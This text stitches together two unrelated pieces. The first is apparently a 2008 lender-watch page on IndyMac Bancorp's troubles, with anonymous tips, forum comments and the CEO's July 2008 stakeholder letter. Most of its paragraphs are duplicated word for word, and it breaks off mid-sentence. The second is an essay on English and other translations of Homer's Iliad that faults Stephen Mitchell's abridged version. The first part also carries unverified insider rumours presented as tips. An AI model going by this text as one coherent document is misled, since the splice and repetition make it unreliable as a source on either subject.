Schatz Nobel Izard P.C. Announces Class Action Lawsuit Against IndyMac Bancorp, Inc.
The Brualdi Law Firm Announces Class Action Lawsuit Against IndyMac Bancorp, Inc.
Scott+Scott LLP Files Class Action Lawsuit Against IndyMac Bancorp, Inc. On Behalf of Investors Paul Coyne, Business Development MGR issued an email to the troops quoting from a statement by CEO Mike Perry 2008-06-13: "We don't have any issues with respect to liquidity or funding and we don't have a single warehouse line. We fund ourselves 100% with deposits and FHLB advances and have $4.4 billion of operating liquidity as of today." Perry went on to suggest the following fixes: "...we clearly need to raise capital, reduce our NPAs, and return to profitability for us to ensure our long-term health." Discussion from our Forums suggest two points of view: Indymac Sinking!!! or INDYMAC: A positive note. Update - 2008-02-12: From Yahoo! Finance, Feb. 12, 2008: "LOS ANGELES (AP) -- IndyMac Bancorp Inc. reported the first annual loss in company history Tuesday and scrapped its dividend to shore up capital. The holding company for IndyMac swung to a fourth-quarter loss as weakness in the housing market forced the mortgage lender to boost provisions for future credit losses from rising defaults, repossessions and other costs." CEO Perry takes the blame, kills the dividend, and blamed the "errors" on management. Perry offered to quit if not re-elected as CEO. Now that makes a lot of sense. Update - 2008-01-31: We have several emails, and confirmation from an inside source IndyMac is closing their Construction-to-Perm (CTP) Lending Division. This info has come in late in the day and we expect the company to confirm the shutdown is effective Feb. 1, 2008 tomorrow... in other words, immediately. Update - 2008-01-16: After cutting 2403 people and closing 5 Operations Centers, IndyMac has put out a "Q & A" hoping to give Brokers/Bankers some reassurance they are'still in the picture.' Click here to view the entire document. Update - 2008-01-15: In a statement released today at 'theimbreport.com', IndyMac announced cuts of another 2403 people. In addition: "...we have made the decision to close down our regional wholesale mortgage centers in Tampa, Philadelphia, Boston, Columbia and Kansas City (the other operations in Kansas City will remain open) by the end of the first quarter and consolidate these mortgage operations into our 11 other regional centers around the country." Our Forum has been very busy with opinions, detail, and questions on this subject. Click here to view. Original Ailing/Watch Listing - 2008-01-09: News isn't readily forthcoming, but adding up the little bits it becomes rather obvious: this company is in trouble. There have been a slew of articles recently, scattered across the business world about the current'state of things.' Most recently, an article from Reuters casts serious doubt on the future for IndyMac: "Growth in the pipeline and resulting production volume may be negatively impacted by further credit tightening currently being implemented by the GSEs that is requiring IndyMac to implement another round of credit guideline tightening," the company said on its corporate blog, www.theimbreport.com, on Jan. 4. Total loan production of $4 billion in November was "essentially flat" from October, it said. The loan pipeline of $10.7 billion was down 20 percent for the 12 months to November and up 9 percent from October. IndyMac Chief Executive Officer Michael Perry last month said he expected the Pasadena, California-based lender will be profitable by the second half of 2008. Its $202.7 million third-quarter loss was more than five times larger than projected as delinquencies mounted." One large Net Branch operation has put out the word "not to use IndyMac as they think they will have funding problems." All the while, we have had tips coming in about layoffs, program/product cuts and new restrictions. Like many other lenders going through a similar contraction in today's market, Subprime is gone and Alt-A has been priced out of market. Killing product is a sure way to drive out the AE's, and just before Christmas one tipster wrote: "... several of us just walked out after they once again, cut programs... they cut the comp plan for the 5th time in 7 months... and max pricing on any jumbo Alt-A is 99.00, so it will cost the broker 1.00 just to do the deal. This used to be Indy's bread and butter. They also put out a voluntary resignation for all A.E.'s last week.... word is they are going retail. The CEO reiterated over and over that everyone was "safe" and Indy was as strong as ever..." And another tip: "600 ae's are collecting $2500 per month and close 2-5 loans per quarter. The math is simple get rid of them" In our Premium Newsletter from Dec. 17th, we reported on IndymacBank GrupoMac. According to their web site this division within Indymac Bank called GrupoMac is a "Top 5 Wholesale Lender... focused on serving Spanish-speaking customers." Rumor has it that this division will be closed and Mark Mozzilo (CEO) is rumored to have left Indymac or leaving to another Indymac unit. One tipster writes, "None of the ae's from grupo mac will transfer all of them will be laid off." There are a number of ongoing discussions on our forum. Take your pick by clicking here, here, or here. If you have more information, updates or corrections to this post, please email us directly. permalink to this record | forum thread Comments: griztown at 14:58 2008-06-11 said: Is Indymac about to go belly up? No news since February but their stock is way down. Something must be happening. Permalink Is Indymac about to go belly up? No news since February but their stock is way down. Something must be happening. Trojanbiz at 18:23 2008-06-16 said: or be bought out by someone w/ a stronger balance sheet. Permalink or be bought out by someone w/ a stronger balance sheet. 8bpChip at 14:26 2008-06-23 said: It was only a matter of time. Their continued aggressiveness in the alt-a & option arm market, even after the rest of the industry pulled back, finally bit them in the arse. It's annoying competing against one of the most irresponsible lenders since Countrywide. Give away the store with little-to-qualification at a ridiculous rate. They are reaping what they sow and I get to say "I told you so" to my local IMB competitor as I perform my best Gov. Dean Howard guffaw. Permalink It was only a matter of time. Their continued aggressiveness in the alt-a & option arm market, even after the rest of the industry pulled back, finally bit them in the arse. It's annoying competing against one of the most irresponsible lenders since Countrywide. Give away the store with little-to-qualification at a ridiculous rate. They are reaping what they sow and I get to say "I told you so" to my local IMB competitor as I perform my best Gov. Dean Howard guffaw. CAPUDO34 at 21:28 2008-06-25 said: It was only a matter of time. Their continued aggressiveness in the alt-a & option arm market, even after the rest of the industry pulled back, finally bit them in the bEhind. It's annoying competing against one of the most irresponsible lenders since Countrywide. Give away the store with little-to-qualification at a ridiculous rate. They are reaping what they sow and I get to say "I told you so" to my local IMB competitor as I perform my best Gov. Dean Howard guffaw. Are you saying you did refuse to sell those products because they are "irresponsible?" Irresponsible lender huh, I think almost every lender went out of control over the last few years, not just CW or IMB. Sure IMB does do a lot of volume and has probably taken much of your business to this day, but they were not any different to any other lender in terms of products. Are you saying you did refuse to sell those products because they are "irresponsible?" Irresponsible lender huh, I think almost every lender went out of control over the last few years, not just CW or IMB. Sure IMB does do a lot of volume and has probably taken much of your business to this day, but they were not any different to any other lender in terms of products. I love when people come out of the woodworks after the fact and begin to point fingers when all of us were involved in the mortgage debacle some way or another. I'm not saying it is our fault, but we did participate in the ride. Permalink I love when people come out of the woodworks after the fact and begin to point fingers when all of us were involved in the mortgage debacle some way or another. I'm not saying it is our fault, but we did participate in the ride. Aristotle at 04:10 2008-06-26 said: OK IndyMac employees, what are you seeing? OK IndyMac employees, what are you seeing? I went through the "S&L Crisis" during the 1990's and the employees could always tell when the FDIC or FSLIC was going to come in within a few weeks and shut them down. I went through the "S&L Crisis" during the 1990's and the employees could always tell when the FDIC or FSLIC was going to come in within a few weeks and shut them down. Are there lots of FDIC people looking at your files and asking for information this week? Permalink Are there lots of FDIC people looking at your files and asking for information this week? 8bpChip at 10:53 2008-06-26 said: It was only a matter of time. Their continued aggressiveness in the alt-a & option arm market, even after the rest of the industry pulled back, finally bit them in the bEhind. It's annoying competing against one of the most irresponsible lenders since Countrywide. Give away the store with little-to-qualification at a ridiculous rate. They are reaping what they sow and I get to say "I told you so" to my local IMB competitor as I perform my best Gov. Dean Howard guffaw. Are you saying you did refuse to sell those products because they are "irresponsible?" Irresponsible lender huh, I think almost every lender went out of control over the last few years, not just CW or IMB. Sure IMB does do a lot of volume and has probably taken much of your business to this day, but they were not any different to any other lender in terms of products. I love when people come out of the woodworks after the fact and begin to point fingers when all of us were involved in the mortgage debacle some way or another. I'm not saying it is our fault, but we did participate in the ride. Please, put down the IndyMac Kool-Aid and get a grip. The difference between IndyMac and the rest of the industry is that the rest of the industry realized when to quit while IndyMac continued to charge ahead with their ridiculous product offerings. It gives me great joy to watch this sorry excuse of an alt-a lender get theirs. I sincerely hope every single Stated option arm they purchased blows up in their face. Also, I'm counting down the days until their stock gets De-Listed. It's trading at a $1.07 today. Uh oh, only 8 cents away from worthlessness! Let's GOOOO IndyMac! How LOOOWW can you GOOOO! Please, put down the IndyMac Kool-Aid and get a grip. The difference between IndyMac and the rest of the industry is that the rest of the industry realized when to quit while IndyMac continued to charge ahead with their ridiculous product offerings. It gives me great joy to watch this sorry excuse of an alt-a lender get theirs. I sincerely hope every single Stated option arm they purchased blows up in their face. Also, I'm counting down the days until their stock gets De-Listed. It's trading at a $1.07 today. Uh oh, only 8 cents away from worthlessness! Let's GOOOO IndyMac! How LOOOWW can you GOOOO! (P.S. Capudo34, I sure hope you weren't foolish enough to buy any of their stock. ;) ) Permalink (P.S. Capudo34, I sure hope you weren't foolish enough to buy any of their stock. ;) ) SubPrimeTime at 07:02 2008-07-05 said: Today I heard my employer, Indymac Bank, was sold. I don't know the company that purchased it. Today I heard my employer, Indymac Bank, was sold. I don't know the company that purchased it. I'm not sure how the transition will occur or any details other than it's been sold. I assume I will find out more Monday when I go to work. I'm not sure how the transition will occur or any details other than it's been sold. I assume I will find out more Monday when I go to work. I heard this word of mouth from reliable co-worker. It does not come as a surprise to me. I doubt it's false but I personally have nothing to prove it's official. I heard this word of mouth from reliable co-worker. It does not come as a surprise to me. I doubt it's false but I personally have nothing to prove it's official. Based on our recent stock price a number of people could have the potential to purchase it. Just needed to raid the Piggy Bank. Permalink Based on our recent stock price a number of people could have the potential to purchase it. Just needed to raid the Piggy Bank. alphajej at 16:12 2008-07-07 said: Indymac Issues Stakeholder Letter July 7th, 2008 Dear Indymac Stakeholders: Indymac Issues Stakeholder Letter July 7th, 2008 Dear Indymac Stakeholders: In this very difficult and challenging environment, any of the actions that we take to keep Indymac safe and sound unfortunately have negative consequences to some important constituency. As we stated in our financial update on May 12, 2008, we have been working with our investment bankers to raise additional capital. To-date, we have not been successful with these efforts, and, while we will continue these efforts with our bankers and others, we don’t expect to be able to raise capital until there is more stability and less uncertainty in the housing and mortgage markets. While some shareholders may believe it is in their best interests that we not raise capital right now given the significant dilution that it would cause, there are consequences of not being able to raise more capital and, therefore, actions that we now must take. In this very difficult and challenging environment, any of the actions that we take to keep Indymac safe and sound unfortunately have negative consequences to some important constituency. As we stated in our financial update on May 12, 2008, we have been working with our investment bankers to raise additional capital. To-date, we have not been successful with these efforts, and, while we will continue these efforts with our bankers and others, we don’t expect to be able to raise capital until there is more stability and less uncertainty in the housing and mortgage markets. While some shareholders may believe it is in their best interests that we not raise capital right now given the significant dilution that it would cause, there are consequences of not being able to raise more capital and, therefore, actions that we now must take. Given the continued downward trend in home prices and a resulting increase in our forecasted credit losses and the related downward trend in the pricing of all mortgage related assets in the capital markets, especially mortgage-backed securities where we have experienced significant rating agency downgrades this quarter, we expect our loss for the second quarter to be larger than Q108, but it is difficult at this time to be more precise given the significant uncertainty surrounding accounting estimates, fair value accounting and other accounting matters. Given the continued downward trend in home prices and a resulting increase in our forecasted credit losses and the related downward trend in the pricing of all mortgage related assets in the capital markets, especially mortgage-backed securities where we have experienced significant rating agency downgrades this quarter, we expect our loss for the second quarter to be larger than Q108, but it is difficult at this time to be more precise given the significant uncertainty surrounding accounting estimates, fair value accounting and other accounting matters. In light of the current environment and related deterioration of our financial position since last quarter, we have been working closely with our federal banking regulators with respect to the actions that they and we must take to meet our mutual goal of keeping Indymac safe and sound through this crisis period. In that respect, based on information we have provided to our regulators, they have advised us that we are no longer “well capitalized”, which we stated on May 12 was a possible scenario. Our regulators have also asked us to submit to them a new business plan for their review and approval, something on which we have been working with them for some time. We have agreed on the basic elements of the plan, and the regulators have directed us to begin executing on it. An important element of our plan is to improve our capital ratios. Without an external capital raise, the traditional way to improve safety and soundness is to sell assets and shrink the balance sheet, which in normal times generally has the effect of improving capital ratios and bolstering liquidity. Yet in this environment, where either there are no bids for most of IMB’s mortgage loans and securities or the bid/ask spreads are abnormally wide, “fire-selling” assets would actually deplete capital further. As a result, the most realistic and cost-effective way to shrink both our balance sheet and our servicing rights asset (which, as discussed in previous communications, is up against the regulatory cap limit), is to curtail most new loan production. In light of the current environment and related deterioration of our financial position since last quarter, we have been working closely with our federal banking regulators with respect to the actions that they and we must take to meet our mutual goal of keeping Indymac safe and sound through this crisis period. In that respect, based on information we have provided to our regulators, they have advised us that we are no longer “well capitalized”, which we stated on May 12 was a possible scenario. Our regulators have also asked us to submit to them a new business plan for their review and approval, something on which we have been working with them for some time. We have agreed on the basic elements of the plan, and the regulators have directed us to begin executing on it. An important element of our plan is to improve our capital ratios. Without an external capital raise, the traditional way to improve safety and soundness is to sell assets and shrink the balance sheet, which in normal times generally has the effect of improving capital ratios and bolstering liquidity. Yet in this environment, where either there are no bids for most of IMB’s mortgage loans and securities or the bid/ask spreads are abnormally wide, “fire-selling” assets would actually deplete capital further. As a result, the most realistic and cost-effective way to shrink both our balance sheet and our servicing rights asset (which, as discussed in previous communications, is up against the regulatory cap limit), is to curtail most new loan production. In addition to needing to shrink our assets to improve our capital ratios, we also need to do so to ensure that we maintain prudent operating liquidity. A consequence of falling below well-capitalized is that we are no longer permitted to accept new brokered deposits or renew or roll over existing ones, unless we get a waiver from the FDIC. While we have submitted a waiver application, it is uncertain as to whether such a waiver will be granted. In addition to needing to shrink our assets to improve our capital ratios, we also need to do so to ensure that we maintain prudent operating liquidity. A consequence of falling below well-capitalized is that we are no longer permitted to accept new brokered deposits or renew or roll over existing ones, unless we get a waiver from the FDIC. While we have submitted a waiver application, it is uncertain as to whether such a waiver will be granted. As a result of the above, we have made the difficult decision, effective July 7, 2008, that we will no longer accept any new loan submissions or rate locks in our retail and wholesale forward mortgage lending channels, except for our servicing retention channel. We plan to honor all of our existing rate-locked loans and will continue to fund these loans in the coming weeks. While the managers and employees in these units have worked incredibly hard, these units are not currently profitable due to the continuing erosion of the housing and mortgage markets. At the same time, these operations take up significant balance sheet capacity and “feed” growth in the servicing asset, an asset we need to shrink given its size relative to our existing capital. As a result of the above, we have made the difficult decision, effective July 7, 2008, that we will no longer accept any new loan submissions or rate locks in our retail and wholesale forward mortgage lending channels, except for our servicing retention channel. We plan to honor all of our existing rate-locked loans and will continue to fund these loans in the coming weeks. While the managers and employees in these units have worked incredibly hard, these units are not currently profitable due to the continuing erosion of the housing and mortgage markets. At the same time, these operations take up significant balance sheet capacity and “feed” growth in the servicing asset, an asset we need to shrink given its size relative to our existing capital. In closing our forward mortgage business, we will refocus our lending efforts on supporting and building within regulatory constraints Financial Freedom, our reverse mortgage unit (FHA production only), and on continuing the retention activities associated with our servicing portfolio. Combined, we currently expect these units to produce roughly $5 billion to $10 billion per year of new FHA/GSE loans. Thus, our core business model will include (1) Financial Freedom, one of the largest reverse mortgage lenders in the Country; (2) a top ten mortgage loan servicing operation, with a solid retention production unit; and (3) a Southern California retail bank branch network, including 33 branches and roughly $18 billion in deposits, of which over 96% is fully covered by FDIC insurance. In addition, when this housing and mortgage crisis abates and we return to health, we would also hope to be an investor in mortgage loans and mortgage-backed securities and might re-enter the national forward mortgage production business with a low-cost, non-commissioned-based business model. In closing our forward mortgage business, we will refocus our lending efforts on supporting and building within regulatory constraints Financial Freedom, our reverse mortgage unit (FHA production only), and on continuing the retention activities associated with our servicing portfolio. Combined, we currently expect these units to produce roughly $5 billion to $10 billion per year of new FHA/GSE loans. Thus, our core business model will include (1) Financial Freedom, one of the largest reverse mortgage lenders in the Country; (2) a top ten mortgage loan servicing operation, with a solid retention production unit; and (3) a Southern California retail bank branch network, including 33 branches and roughly $18 billion in deposits, of which over 96% is fully covered by FDIC insurance. In addition, when this housing and mortgage crisis abates and we return to health, we would also hope to be an investor in mortgage loans and mortgage-backed securities and might re-enter the national forward mortgage production business with a low-cost, non-commissioned-based business model. Unfortunately, the above actions will necessitate the reduction in our present workforce from approximately 7,200 to roughly 3,400 or so over the next couple of months, which should reduce our operating expenses by roughly 60%. We will retain about 1,100 employees in loan servicing in Kalamazoo and Austin; 350 in our servicing retention group in Irvine and Kansas City; 800 at Financial Freedom, primarily in Irvine, Sacramento, and Atlanta; 400 in our Southern California retail and web bank; 500 in portfolio management and administration, largely in Pasadena; and 250 in discontinued businesses. In building Indymac up from 4 employees in 1993 to its present size, we have had to retrench and then rebuild several times over the past 15 years, but clearly these are the largest and most difficult staff reductions we have ever had to make. If we had another alternative, we clearly would have chosen it, as we understand how painful these workforce reductions can be for the affected employees and their families. Given Indymac’s current financial position and these significant layoffs, I strongly believe it is appropriate that I further materially reduce my own compensation. As a result, I have requested of Indymac’s Board of Directors that they reduce my base salary by 50%. Unfortunately, the above actions will necessitate the reduction in our present workforce from approximately 7,200 to roughly 3,400 or so over the next couple of months, which should reduce our operating expenses by roughly 60%. We will retain about 1,100 employees in loan servicing in Kalamazoo and Austin; 350 in our servicing retention group in Irvine and Kansas City; 800 at Financial Freedom, primarily in Irvine, Sacramento, and Atlanta; 400 in our Southern California retail and web bank; 500 in portfolio management and administration, largely in Pasadena; and 250 in discontinued businesses. In building Indymac up from 4 employees in 1993 to its present size, we have had to retrench and then rebuild several times over the past 15 years, but clearly these are the largest and most difficult staff reductions we have ever had to make. If we had another alternative, we clearly would have chosen it, as we understand how painful these workforce reductions can be for the affected employees and their families. Given Indymac’s current financial position and these significant layoffs, I strongly believe it is appropriate that I further materially reduce my own compensation. As a result, I have requested of Indymac’s Board of Directors that they reduce my base salary by 50%. With respect to severance, our policy has always been that the fair and right thing to do is to provide our departing employees with a generous severance program to ease their transition to the next stage of their career. Our severance program, which provided one month of pay and one month of Indymac-paid COBRA insurance coverage for each year of service, was clearly the most generous in the mortgage industry, if not among most of the Fortune 500. I very much regret that the reality today, however, is that we can no longer afford this program given our need to preserve capital and return to profitability. Therefore, we will be providing employees with a minimum 30-day notice of the termination of their employment (effectively, 30 days severance), with employees covered under the Federal WARN Act and similar state statutes (“WARN”) receiving 60 days of advance notice prior to the effective date of the their termination. Affected employees with five or more years of service will receive a minimum $20,000 severance, including any compensation payments made during the notice period. With respect to severance, our policy has always been that the fair and right thing to do is to provide our departing employees with a generous severance program to ease their transition to the next stage of their career. Our severance program, which provided one month of pay and one month of Indymac-paid COBRA insurance coverage for each year of service, was clearly the most generous in the mortgage industry, if not among most of the Fortune 500. I very much regret that the reality today, however, is that we can no longer afford this program given our need to preserve capital and return to profitability. Therefore, we will be providing employees with a minimum 30-day notice of the termination of their employment (effectively, 30 days severance), with employees covered under the Federal WARN Act and similar state statutes (“WARN”) receiving 60 days of advance notice prior to the effective date of the their termination. Affected employees with five or more years of service will receive a minimum $20,000 severance, including any compensation payments made during the notice period. With all of the above said, in this environment plans can change often and quickly (e.g. ability to raise capital and/or liquidity, regulatory actions, etc.). All we can do is continue to work hard and do our very best to keep Indymac safe and sound, so that we can rebuild our workforce and shareholder value when the housing and mortgage markets stabilize. We will be providing more information on our plans and prospects when we release Q208 earnings. With all of the above said, in this environment plans can change often and quickly (e.g. ability to raise capital and/or liquidity, regulatory actions, etc.). All we can do is continue to work hard and do our very best to keep Indymac safe and sound, so that we can rebuild our workforce and shareholder value when the housing and mortgage markets stabilize. We will be providing more information on our plans and prospects when we release Q208 earnings. Very truly yours, Very truly yours, Michael W. Perry Chairman and Chief Executive Officer Permalink Michael W. Perry Chairman and Chief Executive Officer SMonk432 at 20:03 2008-07-07 said: Can we say GREED.. This is another case of the greed factor. Every major lender/bank |
Richmond Lattimore with a lengthy new introduction;[*] and three hardback copies of the new Stephen Mitchell translation, with refulgent golden shields on the cover and several endorsements on the back, of which the most arresting is by Jaron Lanier, author of You Are Not a Gadget: ‘The poetry rocks and has a macho cast to it, like rap music.’
There was also one translation of the Odyssey, by Fagles again. It was ever thus: for all its well-remembered adventures and faster pace, the Odyssey has always been outsold – out of 590 Homer papyrus fragments recovered in Egypt at the last count, 454 preserve bits of the Iliad. The ready explanation – that ancient schoolmasters preferred the Iliad because the other Homer is just too much fun – is no doubt true but doesn’t explain why the Iliad has been preferred outside the schoolroom as well, from antiquity and the Byzantine millennium to the Terminal 2 bookshop.
Why are our contemporaries so keen on buying and presumably reading the Iliad’s Iron Age reminiscence of Bronze Age combat? Publishers certainly view it as a paying proposition: at least twenty new English-language translations have been published since 1950, not counting ones from private presses. In Greece, as in Italy for students of the liceo classico, it is a compulsory school text (several modern Greek versions also serve as cribs), but why are the passengers at Terminal 2 in San Francisco buying the English versions? Uniformed and desert-booted soldiers are a common sight in US airports – the uniform secures lounge access and early boarding – and it is a fair surmise that warriors and would-be warriors, these days more often college-educated, are war-book buyers, of which the Iliad is the echt and ur. Some of course – nasty fellows – would widen the explanation by seeing Americans as a whole as war-lovers, hence war-book addicts, hence Iliad buyers. That’s lame to begin with, for there are countless ways of getting that fix much more easily than by reading 15,693 lines of hieratic verse bound to offend military history buffs, because of both the extreme, pervasive emotionalism – all the weeping wives of other war books are outdone by the floods of tears of Homer’s greatest warriors – and the frequent confusion of the battle tactics of two different eras. As against the precise description of each killing, which if anything spoils the fun, there is the impossible coexistence of archaic chariots with the hoplite phalanx, of single combat with walls and trenches.
In any case, the nasty explanation collapses because the old firm is doing very well in new markets far from America. The only Chinese Homer used to be Donghua Fu’s 1929 version of the Odyssey (Ao-de-sai) published in Changsha in 1929, but that renegade engineer and pioneering Chinese grammarian translated an English text. To translate Homer once is inevitable treason, but twice? Things are far better now that the Chinese Academy of Social Sciences supports the study of ancient Greek and Latin at its Institute of Foreign Literature. Luo Niansheng, once its most distinguished classicist, who studied in the United States and at the American School of Classical Studies in Athens before the Second World War, died in 1990 while translating the Iliad. His version was completed by Wilson Wong, who learned his Greek at Moscow State University in the 1960s, and who went on to translate the Odyssey as well, in verse form. Until then, China’s only translation from the Greek had been in prose, by the celebrated Yang Xianyi, who with his wife, Gladys Taylor, translated many Chinese classics into English as he lived through the hellish vicissitudes of China from 1940 till his death in 2009, including his and his wife’s separate imprisonment. Wong and Niansheng, who also translated Aeschylus’ tragedies, propelled the first Chinese-Ancient Greek dictionary, published in 2004. By then, another member of the Institute, Zhong Mei Chen, who studied Homeric Greek at Thessaloniki’s Aristotle University after a spell at Brigham Young University in Utah, had published poetical new translations of both the Iliad and the Odyssey.
The Luo Niansheng/Wilson Wong Iliad is on sale online, with a handsome Zeus on the cover, for just 19.60 yuan, or $3.10 at the skewed exchange rate. By contrast, writing in Al-Ahram’s English edition in 2004, Youssef Rakha complained that Ahmed Etman’s new prose translation of the Iliad into Arabic was ‘unaffordably priced at LE250’ or $41.44, although he acknowledged that Egypt’s Supreme Council of Culture was publishing a presumably much cheaper paperback edition of Suleyman al-Boustani’s pioneering 1904 verse translation of both Homers. Etman – a professor of classics at Cairo University and chairman of the Egyptian Society of Graeco-Roman Studies, as well as a talented playwright – was quoted in the article explaining why Homer was not translated into Arabic until 1904, and then by the Maronite Catholic al-Boustani, even though his writings were ubiquitous in the Greek-speaking lands that came under Arab rule in the seventh century: ‘Homer is all mythology,’ Etman says, ‘his numerous divinities alone would have been all too obviously incompatible with the Muslim creed. Early Arab authors were too concerned with religion to consider promoting such mythology, however familiar they might have been with Homer and however much they might have admired him.’
One hopes that recent changes will not exclude Homer again, as historical studies of early Islam already have been. If they do, Etman is apt to resist valiantly:
The Iliad and the Odyssey are the two greatest epics to appear in the history of humanity, and they gave Greek authors and thinkers all their cues. Without Homer there could have been no such thing as ancient Greek culture, and without the Greeks there could have been neither Romans nor subsequent generations of European literature. So when you have a thing of such immense value and such eternal beauty, it seems pointless to ask about its relevance to the present.
But for its succinct eloquence, this evokes countless Letters to the Editor defending the teaching of the classics, whose authors might not perhaps imagine a Professor Etman in Cairo. It does not, moreover, explain the goings on at Terminal 2: it is implausible that passengers are buying the Iliad to uphold Western civilisation, so why are they buying it?
In Japan, Homer is so familiar that Japanese have been known to describe their own lengthy Heike epic on the (fully historical) downfall of the Taira clan as a Japanese Iliad. It is a truly national epic: I have yet to meet a Japanese who couldn’t recite its opening line – ‘Gionshōja no kane no koe. Shōgyomujō no hibiki ari’, ‘The bell of Gion Temple recalls the impermanence of all things’ – which echoes, though in Buddhist resignation, Homer’s bitter evocation of human mortality at the very start of the Iliad. Like the Iliad, The Tale of the Heike was sung, by blind itinerant monks strumming the four-string biwa, colleagues of the rhapsodes who strummed the often four-stringed phorminx lyre while singing Homeric compositions (and of the cantastorie who recited tales of Federico Secondo Hohenstaufen in the Palermo of my childhood with the aid of highly coloured storyboards; and the Serbian singers of the Sanjak of Novi Pazar recorded by Milman Parry and Albert Lord in 1934-35). Yet another similarity is in the parallel fates of the infant Astyanax, son of Hector, destined successor of King Priam, and that of the child emperor Antoku, the former thrown from the walls of Troy during its sack according to the post-Iliadic Ilias mikra, or ‘Little Iliad’, the latter drowned by his own grandmother, who threw herself into the sea with him after the Taira were defeated in 1185 off Shimonoseki. His mother survived in perpetual sorrow at the appropriately melancholy Jakkō-in nunnery at Ohara just above Kyoto, which no tourist should miss, especially in the rainy mists of June.
Indeed, Japanese familiarity with Homer can be excessive: I once saw a manga in which the central focus of the Trojan War was a voluptuous nymphomaniac Helen, while the central object of the great quarrel was a sadistically ravaged Briseïs, even though in the Iliad Agamemnon swears ‘by the greatest of oaths’ that he never went into her bed or slept with her (no Clintonesque reservations here, please), while Achilles calls Briseïs his darling wife, adding: ‘I loved her with all my heart though I had captured her with my spear.’ This sort of soft porn abuse would not be allowed if Homer Inc had the revocation powers that McDonald’s Corporation exercises from Oak Brook, Illinois over its franchisees in 119 countries – nor would the new Stephen Mitchell translation be allowed.
It’s not that I would hazard to challenge the merits of Mitchell’s translation. On matters of taste there is no disputing, and some may even find it inspiring that his ‘poetry rocks and has a macho cast to it, like rap music’: this is a misrepresentation in any case, since except for rare vulgarities such as a ‘son of a bitch’ Agamemnon, and a profusion of added adjectives (‘naked flesh’), it is a far more conventional translation than, say, the Graves mixed-form version. In any case, I am scarcely an authority in translating anything from any language, and cannot even advance a weaker claim to connoisseurship because my favourite English Iliad is William Wyatt’s 1999 updating of his great-uncle A.T. Murray’s 1924 version, because of the Greek text on its facing pages, because of the handy Loeb format well suited to air travel (and to cheap replacement when left aboard), and for its literal yet stylish accuracy – in that order.
Nor would I presume to impugn Mitchell’s qualifications as a translator of the peculiar Homeric mixture of archaic Ionic with some Aeolic (Sappho’s dialect), bits of more recent Attic no doubt derived from its written stage, and even some faint remnants of the Mycenaean Greek of the previous millennium, roughly contemporaneous with the famous boar’s tusk helmet of Book 10. In my own ignorance I do not impugn his mastery of Homeric Greek, the never spoken language that did not exist outside the two epics apart from in a profusion of later imitations, even though I learn from the dust jacket that Mitchell has also translated the Epic of Gilgamesh (from the Old, or the Standard Babylonian version?), the Tao Te Ching (now Dao De Jing), less well known than its supposed author Lao Tzu (now Laozi), Rainer Maria Rilke (from German, French, or both?) and the Book of Job, Sefer Iiov, which I happen to know quite well but would never dare translate. In any case, Mitchell persuasively describes himself translating the text by looking up the Greek words he didn’t know, and proffers thanks to M.L. West for unstinting help and advice. As the author of the indispensable if not uncontroverted Making of the ‘Iliad’ as well as the editor of the newest Teubnerian Iliad, and of the new Loeb volumes on the Homeric hymns and the Epic Cycle (a wonderful achievement in itself), West is the current Zeus of the Homeric world – with his divine afflatus Mitchell could translate anything.
My objection is another: that Mitchell took it on himself to produce and circulate an Iliad that is improperly abridged, indeed mutilated. His text is bereft of the formulaic epithets and set phrases that characterise Homer, which were not only indispensable memory aids for improvisational oral re-compositions by unlettered performers, as Parry and Lord famously demonstrated (a function now admittedly obsolete), but which can serve as ironical foils. Alongside dispensable ‘flashing-helmet’ Hectors, ‘bronze-clad’ Trojans and ‘single-hoofed’ horses, there is ‘fleet-footed Achilles’, even as he sits sulking in his tent; ‘fleet-footed glorious Achilles’, even as he refuses to fight while his fellows are being massacred by Hector; ‘wide-ruling’ Agamemnon, as he is being humiliated by the powerless seer Calchas; and ‘most glorious son of Atreus’, even while he is being reviled as dog-faced and the most covetous of men.
Such and more warrants keeping what Mitchell has chosen to leave out, for its ironical undertone is by far the most subtle of all the virtues of the many-virtued Iliad. To deny the irony is impossible, for it starts at the very beginning. The opening words, ‘Menin aeide thea Peleiadeo Achileos,’ ‘Sing goddess, the anger of Peleus’ son Achilles,’ are immediately followed by the bloody consequences: the sending down to Hades of many valiant warrior souls, whose bodies are left as spoils for dogs and birds – ‘and thus the will of Zeus reached its fulfilment.’ The listener is squarely told who is to blame for all the evil in the world: the supreme deity himself, the most unfatherly ‘father Zeus’. He is most literally satirised in a passage in Book 14, which Mitchell does not omit. To give Poseidon freedom of action to help the Achaeans, Hera decides she must bed Zeus. She first equips herself with Aphrodite’s seduction gear, duly inflames him, and then cunningly announces that she is embarking on a trip.
‘Darling Hera,’ said Zeus, ‘surely another day will do as well? Let us make love at once! Never in my entire life have I felt such intense longing for goddess or nymph as I feel for you this afternoon! Why, my interest in Ixion’s wife Dia, on whom I begot the wise Peirithous, was nothing by comparison; and this also applies to Danaë, daughter of Acrisius, the girl with the beautiful ankles, on whom I begot the hero Perseus … Why, I would venture to say, dearest wife, that I have never yet conceived so delirious a passion even for you yourself!’
The text would make Zeus an insensitive oaf even if stiffly translated, but the above is the Graves version, which particularly brings out the irony. This sort of thing provoked the very first critic of the Iliad known to us, the sixth-century Xenophanes of Lydian Colophon, who objected that ‘Homer and Hesiod attributed to the gods all things which are disreputable and worthy of blame when done by men.’
Mitchell’s excisions of detail are too frequent, but his much greater offence is an outright mutilation: he omits the entirety of Book 10, a ‘baroque and nasty episode’ which, he writes, ‘has been recognised as an interpolation since ancient times, and by modern scholars almost unanimously: it has major inconsistencies with the rest of the Iliad, its style is different, and it can be excised without leaving a trace.’ Each contention has some merit, yet the exclusion of Book 10 still amounts to an extreme case of chutzbris – chutzpah for effrontery, hubris for arrogance. Mostly, the omission is a very major loss for the reader.
I begin with the arrogance. Mitchell justly praises West’s text, which was published in Germany as Homeri Ilias in two volumes in 1998 and 2000. He even adds, most misleadingly, that ‘20th-century translators of the Iliad worked from a Greek text (the old Oxford Classical Texts edition, first published in 1902) that is far inferior’ to the new West Iliad. This ignores not only the successive revisions of the Oxford text but also the great advance of Helmut van Thiel’s 1996 edition, which added many readings from papyri. A fine new translation by Anthony Verity that I much prefer to Mitchell’s relies on van Thiel’s text, though not uncritically.[†] The largest difference between the van Thiel and the West Homeri Ilias is that the former is decidedly more inclusive, adding extra material of varying value from late antique sources, though in square brackets, while West is much more severe in rejecting what he views as interpolations, again by placing them in square brackets. Neither would dream of simply deleting parts of the received text, let alone an entire book.
